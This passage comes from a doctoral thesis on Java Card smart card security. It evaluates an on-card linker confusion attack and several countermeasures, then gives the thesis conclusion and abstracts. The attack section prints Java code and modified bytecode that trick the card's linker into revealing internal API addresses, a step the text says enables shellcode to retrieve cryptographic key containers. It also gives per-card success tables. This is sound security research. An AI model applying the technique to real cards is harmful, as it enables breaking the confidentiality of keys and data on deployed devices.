This section aims at evaluating the attack against the on-card linker. Section 8.3 has introduced

two possible exploitations of the on-card linker confusion. An attacker may able to link values

or instructions as token. To evaluate our approach, we try to obtain the API addresses of each

evaluated smart card. For the explanation, we only focus on the getKey function.

9.4.2.1 CAP File Modification

According to the on-card linker confusion which was explained in Section 8.3, with CapMap we

modify the instruction which precedes a token. For that purpose, the getGetKey method shown

in Listing 9.8 was developed to obtain the internal reference of the getKey method.

Listing 9.8: Java-function to retrieve the getKey() internal reference.

public short getGetKeyAddress ( DESKey myDesKey ){

myDesKey . getKey (null , // Byte array to r e tu rn key data

( short) 0x00); // O f f s e t w i t h i n keyData to s t a r t

return ( short ) 0xCAFE; }

The associated unlinked byte code is shown in Listing 9.9. Therefore, the invokeinterface

instruction is followed by the token 0x0008. In card, this value is resolved by the address of the

getKey method during the loading step. For this attack, the Reference Location component

and the Constant Pool component are not modified (they are the same as the original CAP file).

The targeted card does not embed any BCV component.
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Listing 9.9: Byte code associated to method

listed in the Listing 9.8.

03 // f l a g s : 0 max_stack : 3

20 // nargs : 2 max_locals : 0

/∗0xD8∗/ aload_1

/∗0xD9∗/ aconst_null

/∗0xDA∗/ sconst_0

/∗0xDB∗/ invokeinterface 03 // nargs

/∗0xDD∗/ 0008 // index

/∗0xDE∗/ 04 // method

/∗0xE1∗/ sspush 0xCAFE

/∗0xE4∗/ sreturn

Listing 9.10: Modified byte code of the List-

ing 9.9.

03 // f l a g s : 0 max_stack : 3

20 // nargs : 2 max_locals : 0

/∗0xD8∗/ nop

/∗0xD9∗/ nop

/∗0xDA∗/ nop

/∗0xDB∗/ nop

/∗0xDC∗/ sspush 0008

/∗0xE0∗/ nop

/∗0xE1∗/ nop

/∗0xE2∗/ nop

/∗0xE3∗/ nop

/∗0xE4∗/ sreturn

When the on-card linker resolves each token contained the Method component, it uses the

fields offset_to_byte_indices (for the 1-byte tokens) and offset_to_byte2_indices (for the

2-byte tokens) in the Reference Location component. Our malicious applet refers in the the

Reference Location the offset 0x00DE. This value corresponds to the value to resolve in the

getGetKeyAddress method (the parameter of the sspush instruction).

To obtain the internal reference of the getKey() function, the invokeinterface instruction is

modified in such a way that it becomes a sspush operation, as shown in Listing 9.10. When the

on-card linked resolved each token, the sspush parameter has changed. This modification aims

at obtaining the internal reference of the getKey function. Therefore, executing the getGetKey()

function returns the internal reference of the getKey() function.

9.4.2.2 Evaluation

On the cards presented in the Table 9.1, an applet with the modifications previously explained is

installed. The process method contains the code shown in the Listing 9.11.

Listing 9.11: process method with return, through the APDU’s buffer, the internal reference of the getKey()

function.

switch ( apduBuffer [ ISO7816 . OFFSET_INS ]) {

case INS_GET_GET_KEY_ADDRESS :

DESKey myDESKey = ( DESKey )

KeyBuilder . buildKey ( TYPE_DES_TRANSIENT_DESELECT , LENGTH_DES3_2KEY , true);

myDESKey . setKey (INIT_KEY , ( short) 0x00);

ret = this. getGetKeyAddress ( myDESkey );

Util. setShort (apduBuffer , (short) 0x00 , ret);

apdu. setOutgoingAndSend (( short )0x00 , SHORT_LENGTH )

break;

default : ISOException . throwIt ( ISO7816 . SW_INS_NOT_SUPPORTED ); }
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When the CAP file has been modified by the CapMap, we use OPAL to send the applet to the

card and automate the evaluation of the targeted cards. This ill-formed application is installed in

each card. The value returned by the getGetKeyAddress method is presented in the Table 9.9.

Card Reference getKey internal reference Result

a-21a 0x8C08 ✓

a-22a 0x080A ✓

a-22c 0x020F ✓

b-21a 0x3267 ✓

c-22a 0x810B ✓

c-22b 0x810B ✓

d-21a 0x0008 ✗

d-22 0x80BA ✓

e-22 0x142F ✓

Table 9.9: Returned values

The first observation concerns the obtained address. The address returned by the card d-21a

corresponds to the token referred in the Constant Pool component. As this work was done with

a black box approach, an embedded countermeasures should not link the token if it is preceded by

an illegal instruction. Another implemented countermeasure should dynamically resolve the token

during the applet execution.

The second observation focuses on the value returned as internal reference. Regarding each

smart cards’ memories map, some getKey methods are implemented in the EEPROM memory

(like a-21a, c-22a, c-22b and d-22) or the getKey is a native method. A mechanism as the one

introduced in Section 7.1.1.2 can be implemented.

To characterise the cards API, we built a complete set of CAP files which can be used to extract

the addresses of the API whatever the platform is. It allows us to build very efficient shellcode

to be uploaded into the card and in particular to retrieve the container of the cryptographic keys.

We have shown with the experimental results that most cards do not have any countermeasures

against this attack.

9.4.3 Synthesis

The attacks against the Java Card linker have been evaluated in this section. The Table 9.10

compiles the obtained results.

The attack on the Java Card off-card linker succeeded because the linker does not check the

correctness of Export files used to convert a Class file to a CAP file. For the Oracle’s toolchain,

the Export files are supposed to be correct without hashsum to verify any fraudulence. So, the

developer must trust in the provided Export files.
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Card Reference Off-card Linker On-card Linker

a-21a ✓

a-22a ✓ ✓

a-22c ✓ ✓

b-21a ✓

c-22b ✓

d-21 ✗

d-22 ✓

e-22 ✓

Table 9.10: Overview of attacks against the Java Card linker.

Fooling the on-card linker aims at forcing it to resolve as a token a byte or an instruction.

In this case, a method mutates to execute unexpected code. It becomes possible to characterise

completely the Java Card API or execute unauthorised instructions.

9.5 Evaluation of the Countermeasures

Previously, we evaluated the attacks discovered by using the fault tree methodology. Using the FTA,

we designed countermeasures with a better coverage to prevent modification of the control flow.

Therefore, this section evaluates the countermeasures presented in Chapter 7. A countermeasure

is affordable if its:

• latency (the number of instructions executed between the fault and the detection) is low,

• mutant detection success ratio is high,

• memory footprint is low.

The above three points are most important when designing a countermeasure for a smart card.

The last point can be split into RAM, ROM and EEPROM usage knowing that the scarcest resource

is the RAM. These metrics require the implementation of our methods in our own prototype while

the latency and detection coverage can be obtained through a fault simulator detailed by Machemie

et al. [Mac+11].

9.5.1 Evaluation of the Dual Stack Countermeasure

Section 7.1.3.1 has presented a new system countermeasure based on the dual stack mechanism.

During the runtime, the JCVM through this countermeasure verifies the type of each Java element

manipulated on the stack. To evaluate this countermeasure, four Java Card applets have been

used. Two applets are representative of the code a MNO may want to add to their (U)SIM Card.
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The first (Applet 1) is oriented geolocalisation services, this applet is able to detect when the

handset (the device in which the (U)SIM card is inserted) is entering or leaving a dedicated or a

list of geographical dedicated cells and then sends a notification to a dedicated service (registered

and identified in the applet). The second (Applet 2) is more specialised to authentication services;

the applet is able to provide a One Time Password (OTP) to the customer and/or an application

in the handset. This OTP value is already shared and synchronised by the applet with a central

server, which is able to check every collected OTP value by dedicated web services. The two other

applications are oriented cryptography and scrambling operation (Applet 3 and Applet 4). They

have been provided by a telecommunication operator.

This typed stack mechanism requires implementation of instructions in the VM to know which

stack operand is used to get the elements. Most of Java instructions are typed, so it is easy to

implement these instructions, knowing the type of elements, one instruction will push (pop) to

(from) the stack. However, from the specification, there are some untyped instructions and these

instructions cause problems for the implementation of the VM. They cannot differentiate the

references or values. These instructions are pop, pop2, dup, dup2, dup_x and swap_x.

To check the type of each element manipulated on the stack, we came to the decision to replace

each untyped instruction by a typed one. For that purpose, we developed a program transformer,

based on the CapMap library. It aims at creating local variables which allow pushing (or popping)

elements to (from) the stack, and it inserts new instructions to simulate the same effect than the

untyped instruction. The metrics give us the occurrences of these instructions: pop (2%), dup

(3%), dup2 (<1%), and the others are extremely rare. As occurrences of these instructions are

low in a Java Card application, there are not so many changes to do. If we want to remove one

of these three instructions it does not cost so much. It requires a new local variable to replace

a pop; to replace a dup, it needs to insert two instructions and a new local variable; and for a

dup2 instruction, to insert five instructions and two variables. Moreover we could optimise local

variables, taking those that are not used.

Some statistics (Table 9.11) have been made on the four applets to show the memory footprint

when the untyped instructions are replaced by typed instructions.

Applet 1 Applet 2 Applet 3 Applet 4

Instructions
count

4296 957 926 465

Untyped
instructions

49 pop, 195 dup,
3 dup2

19 pop, 36 dup 4 pop, 17 dup, 4
dup2

10 pop, 6 dup

Instructions
added

405 72 54 12

Locals added 27 16 7 5

Table 9.11: Dual stack evaluation.
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The dup instruction is the most commonly used untyped instruction after the new instruction.

The applet size increases by 6% on an average. This growth is only due to dup instructions because

pop replacement does not cost new instructions. And dup2 instructions are very expensive but

we can observe that they are not numerous. The number of local variables added is low and this

number can be decreased if we optimise them. These metrics show that untyped instructions are

rare, and the replacement of these instructions by typed instructions are affordable.

9.5.2 Scrambling Mechanism

The scrambling mechanism aims at preventing the interpretation of injected code. As presented

in Section 7.2.1.3, this countermeasure xors each instruction with a secret key and the JPC value

to randomise the byte stored in the memory. From the attacker point of view, retrieving the key

and the JPC value is a difficult problem. This countermeasure only requires a modification of the

runtime, especially the part of the instruction decoding step in a standard fetch-decode-execute.

Kasmi et al. proposed in [Kas+14a,Kas+14b] to break this mechanism by using the SCARE

approach to reverse the executed instruction during the prefetch step. His approach is currently

an on-going work.

9.5.3 Security Automata

Section 7.4 has detailed an automatic method to provide this redundancy using a security automaton

as the main detection mechanism. This can enforce some trace properties on a smart card

application, by using the combination of a static analysis and a dynamic monitoring.

Implementing this security mechanism requires modifications of the JCVM which affect the

interpreter and potentially the linker-loader if one prefers to build an on-the-fly state machine

instead of implementing it as an additional component of the CAP file. To evaluate this mechanism,

some additional components should be implemented. For instance, the Java frame has been modified

by adding a byte for storing the current value of the state. The cost of the RAM overhead is

one byte per method call. The second memory to be optimised is the EEPROM. It contains the

matrix storing the automaton SM for each method. It can be written once during the load and

read until the applet is removed from the card. It is a two dimensional array with a particular

entry to manage instructions having multiple jumps like tableswitch, lookupswitch, etc. We

did not make an optimisation of this structure in order to maintain a direct access in O(1). For

an already installed Java Card application (API, romised Applets, etc.) this table is burned in

the ROM area which is less constrained. So, the memory overhead is minimalist for the RAM,

and for the EEPROM, it depends on the structure of methods for the application uploaded in

post-issuance.

The second metrics is about the execution time overhead. Each Java Card instruction requires

two cycles: prefetch and execute. The prefetch is fixed regardless of the automaton implementation.

In our implementation of the Java Card on an ARM7, it costs 0.96 µs. The execute cycle costs, for
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the if_scmplt, 0.615 µs. In fact the modification of the interpreter increases the execution time

by 0.332 µs. The instruction that needed 1.575 µs requires now 1.907 µs says an overhead of 21%.

But only the instructions that change the control flow are modified, i. e., 45 instructions over the

184 instructions of the Java Card set. Therefore, the overhead decreased down 5.13%. Of course

the overhead depends on the used instructions in the method. In the given example, Listing 7.22,

only 7 instructions over the 93 have an overhead. For this example, the function’s overhead will

be 1.58%.

9.6 Conclusion

This chapter had detailed the evaluation of this thesis’ contribution. Using the FTA some attacks

against the control flow and the Java Card linker have been designed.

First, the attacks developed during this thesis are synthesised in the Table 9.12. This evalu-

ation required to implement Java-tools. I took part of the OPAL and CapMap libraries develop-

ment. OPAL implements several authentication, encryption and transfer protocols for smart card.

CapMap provides reading and modification about the CAP file.

Card
refer-
ence

EMAN2 Fooling
frame’s
restora-

tion

EMAN3 Heap
Type
Confu-
sion

EMAN4 Finally-
clause
corrup-

tion

Off-
card

Linker

On-card
Linker

a-21a ✓ B ✓ ✓ ✓

a-21b ✓ ✓ ✓

a-22a ✓ ✓ ✓ ✓ ✓ ✓ ✓

a-22b ✓ ✓

a-22c ✓ ✓ ✓ ✓ ✓ ✓ ✓ ✓

b-21a B ✓ ✓

b-22a B ✓

b-22b ✓ ✓

c-22a ✓ ✓

c-22b ✓ ✓

c-22c ✓ ✓

d-21 ✗ ✓ ✗

d-22 ✗ B ✓ ✓ ✓

e-22 ✗ B ✓ ✓ ✓

Table 9.12: Overview of attacks against the application’s control flow.

This evaluation shown that the finally-clause corruption is a generic attack which succeed on

each evaluated card.
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Moreover, the countermeasures presented in this thesis aim at having the better coverage which

the smaller footprint. Regarding the application to protect, the proposed countermeasures can be

enabled by the developer on a specific fragment of code as presented in Section 5.3.
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Conclusion and Future Works

“I have come to the conclusion, after many years of sometimes sad

experience, that you cannot come to any conclusion at all.”

— Vita (Victoria Mary) Sackville-West, Your Garden Again

This thesis focused on the security of the Java Card smart card. The smart card is considered as

a secure device where authentication, critical data storage and sensitive application are processed.

Over the years, the Java Card technology has grown to become the leading application platform

in the world. This technology was designed to be a friendly development environment where Java

application are securely executed. Regarding the sensitivity of the data manipulated by a smart

card, the attackers analyse this platform to find flaws to exploit. In relation with the disclosed

attacks, smart card manufacturers embed appropriated countermeasures. For protecting the card

against the software attacks, embedding a Byte Code Verifier (BCV) was proposed to be the more

efficient defence mechanism.

In 2010, Barbu et al. [Bar+10] introduced a new concept to bypass the BCV in order to

execute an ill-formed application. A well-typed applet is verified by a BCV and installed on a

card. Therefore, the loading step is compliant with the Common Criteria rules and the security

guidelines. During the runtime, a fault injection corrupts the execution flow in such a way that

the executed code is not the legitimate one. As presented by Vétillard et al. [Vét+10], a software

attacks previously blocked by a BCV can now be enabled by a hardware attacks.

The aim of this thesis was to design countermeasure in an efficient and affordable way for

protecting Java Card smart card using a top-down analysis. The proposed methodology is supported

by the Fault Tree Analysis (FTA). This approach used in the safety research field has been adapted

to the security domain. We have identified major undesirable events and refined the analysis

to reach till the basic events representing the effect of either laser attacks, software attacks or

their combination. Through this methodology, we have discovered new attack paths and some

countermeasures have been developed. These countermeasures have a better coverage and a lowest

footprint on the system. Moreover, this approach aims at being generic.
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During this work, we focused how to corrupt the code integrity. We studied two events which can

break the code integrity: the modification of the control flow and the corruption of the Java Card

linker. By analysing its fault tree, we discovered new assets to protect. To prove our hypothesis, we

implemented new attack paths which have been evaluated on different smart cards from different

manufacturers. The Java Card control flow was generally corrupted by a direct (method invocation

or return) or indirect (branching instructions) modification of the Java Program Counter (JPC).

This dissertation has detailed the ways to set this register by the attacker’s value. The FTA was

also used to present attacks on the Java Card linker. Fooling the linking step provides enough

information for the attacker to break the code and data confidentiality. To protect the smart card

against these attacks, we modelled new countermeasures having a better coverage with a lowest

footprint on the system during the runtime. The proposed countermeasures are based on the

FTA approach that offers us a methodology to design a more efficient and affordable protection

mechanisms.

During the evaluation of our approach, we discovered that some attack paths succeeded on

different devices. It is clear that on these implementation the design of the countermeasures follows

a bottom up approach. Therefore, the manufacturers had not clearly identify the different assets

to protect. Our approach aims at helping them to optimise the countermeasures to embed in the

card.

Future Works

This thesis has introduced the first approach using the FTA to improve the smart card security.

This dissertation focused on the code integrity, especially on how to execute an ill-formed code on

the Java Card smart cards. To continue this analysis, the installation process should be studied.

In Java Card, the installation step aims at verifying the application to install, translating the

loading file to the smart card’s internal structures used to store an application and linking it with

the internal features provided by the card. A part of this problem has been viewed in Chapter 8.

This chapter studied the Java Card linker and explained how it can be corrupted by an ill-formed

application. We succeeded in resolving any instruction or parameter as a valid token. Cheating

the installation process should allow the attacker to obtain more right or access to unauthorised

data.

When the code and data integrity will be examined, the fault tree for the confidentiality of

these assets should be designed. In the literature, the code and data confidentiality can be broken

by side channel attacks. These attacks do not perturb the assets integrity but, as presented in

[Ara12,Cla07a,Kas+14b,Koc96], the authors succeeded in retrieving code and data manipulated

during a program execution. The asset’s confidentiality is also broken when the code or data

integrity is cracked as detailed in this thesis.

Finally, to improve the work done during this thesis, we are currently considering quantification
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of the probability for an attacker to reach his objective in a given time or the overall mean time

for the attack to overcome it. This on-going work uses the Boolean logic Driven Markov Process

(BDMP) formalism [PC+10] with the models designed in this thesis. For a manufacturer, this

approach aims at coming to a decision to optimise the choice of required countermeasures according

the attacker power and the assets to protect.
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Une approche générique pour protéger les cartes à puce Java Card™ contre les
attaques logicielles

Résumé : De nos jours, la carte à puce est la pierre angulaire de nos usages quotidiens. En
effet, elle est indispensable pour retirer de l’argent, voyager, téléphoner, . . . Pour améliorer la
sécurité tout en bénéficiant d’un environnement de développement facilité, la technologie Java a
été adaptée pour être embarquée dans les cartes à puce. Présentée durant le milieu des années 90,
cette technologie est devenue la plate-forme principale d’exécution d’applications sécurisées. De
part leurs usages, ces applications contiennent des informations sensibles pouvant intéresser des
personnes mal intentionnées.

Dans le monde de la carte à puce, les concepteurs d’attaques et de contre-mesures se livrent
une guerre sans fin. Afin d’avoir une vue générique de toutes les attaques possibles, nous proposons
d’utiliser les arbres de fautes. Cette approche, inspirée de l’analyse de sûreté, aide à comprendre
et à implémenter tous les événements désirables et non désirables existants. Nous appliquons cette
méthode pour l’analyse de vulnérabilité Java Card. Pour cela, nous définissons des propriétés qui
devront être garanties : l’intégrité et la confidentialité des données et du code contenus dans la
carte à puce. Dans cette thèse, nous nous sommes focalisés sur l’intégrité du code des applications.
En effet, une perturbation de cet élément peut corrompre les autres propriétés. En modélisant les
conditions, nous avons découvert de nouveaux chemins d’attaques permettant d’accéder au contenu
de la carte. Pour empêcher ces nouvelles attaques, nous présentons de nouvelles contre-mesures
pour prévenir les éléments indésirables définis dans les arbres de fautes.

Mots clefs : Carte à puce, Java Card, Sécurité logicielle, Arbre de fautes, Intégrité du code.

A Generic Approach for Protecting Java Card™ Smart Card Against Software
Attacks

Abstract: Smart cards are the keystone of various applications which we daily use: pay
money for travel, phone, etc. To improve the security of this device with a friendly development
environment, the Java technology has been designed to be embedded in a smart card. Introduce
in the mid-nineties, this technology becomes nowadays the leading application platform in the
world. As a smart card embeds critical information, evil-minded people are interested to attack
this device.

In smart card domain, attacks and countermeasures are advancing at a fast rate. In order to
have a generic view of all the attacks, we propose to use the Fault Tree Analysis. This method
used in safety analysis helps to understand and implement all the desirable and undesirable events
existing in this domain. We apply this method to Java Card vulnerability analysis. We define
the properties that must be ensured: integrity and confidentiality of smart card data and code.
During this thesis, we focused on the integrity property, especially on the code integrity. Indeed,
a perturbation on this element can break each other properties. By modelling the conditions,
we discovered new attack paths to get access to the smart card contents. We introduce new
countermeasures to mitigate the undesirable events defined in the tree models.

Keywords: Smart Card, Java Card, Software Security, Fault Tree Analysis, Code Integrity.
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